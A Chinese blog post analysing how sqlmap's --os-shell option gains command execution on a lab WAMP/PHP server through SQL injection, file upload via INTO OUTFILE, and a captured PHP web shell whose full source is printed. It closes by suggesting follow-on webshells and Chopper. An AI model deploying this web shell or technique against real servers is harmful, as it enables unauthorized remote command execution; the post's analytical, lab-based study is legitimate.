mysql osshell_sqlmap os shell解析

0x00 Background

最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。

0x01 Environment

本环境是在局域网下利用两台主机搭建的,环境比较真实。

攻击机:

系统:windows7

工具:sqlmap

靶机:

系统:windows7

环境:wamp搭建的apache、mysql和php

网页源码:phpmywind,此处修改了点源代码,方便进行测试。

0x02 Attack demo

(1)环境测试

url:192.168.0.166/php/newsshow.php?cid=4&id=11

截图:

daddf139d9fc0b92cb4f5665eff5e723.png

(2)攻击

(3)选择语言

sqlmap默认为php,此处根据需求选择。

f3992012a543b3b71e95a991e0cc9517.png

(4)输入绝对路径

此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

739e06b1f98fbce69c0b8db6bdf353a1.png

(5)建立os-shell并执行命令

fbb1508cb1ad7804d8db000bc75939bc.png

0x03 Analysis

(1)抓包

利用wireshark进行抓包

de8c45e961100fde6d0aba567c5e2c34.png

(2)第一个url分析

这条语句我认为对于os-shell并没有实际性的作用。

(3)插入数据

3.1解析into outfile

解析16进制文件

c37f050e299dc56d173c8393a13449a0.png

如上图,16进制转换为字符串为:

`

转换后的代码

sqlmap file uploader

to directory: ";}?>

格式请自行调整

`

显然,16进制为php代码。

先访问以下tmpulujm.php

be049bab8965b51ce81484041cf9bcfa.png

此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。

7d365beb25ee0d69ca644db967de5128.png

实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。

(4)执行命令

现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。

在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。

f12dfa820ebe4f66912aadd5e49249af.png

从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。

$c=$_REQUEST["cmd"];

@set_time_limit(0);

@ignore_user_abort(1);

@ini_set('max_execution_time',0);

$z=@ini_get('disable_functions');

if(!empty($z))

{

$z=preg_replace('/[, ]+/',',',$z);

$z=explode(',',$z);

$z=array_map('trim',$z);}

else

{

$z=array();

}

$c=$c." 2>&1\n";

function f($n)

{global $z;

return is_callable($n)and!in_array($n,$z);

}

if(f('system'))

{ob_start();

system($c);

$w=ob_get_contents();

ob_end_clean();

}elseif(f('proc_open')){

$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);

$w=NULL;

while(!feof($t[1])){

$w.=fread($t[1],512);

}

@proc_close($y);

}

elseif(f('shell_exec')){

$w=shell_exec($c);

}

elseif(f('passthru')){

ob_start();

passthru($c);

$w=ob_get_contents();

ob_end_clean();

}elseif(f('popen')){

$x=popen($c,r);

$w=NULL;

if(is_resource($x)){

while(!feof($x)){

$w.=fread($x,512);

}

}

@pclose($x);

}elseif(f('exec')){

$w=array();

exec($c,$w);

$w=join(chr(10),$w).chr(10);

}else{

$w=0;

}

print "".$w."";?>'''

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

因此我们可以在os-shell中执行命令。

0x04 os-shell的使用

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。

很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。

同时,对于os-shell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。

此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值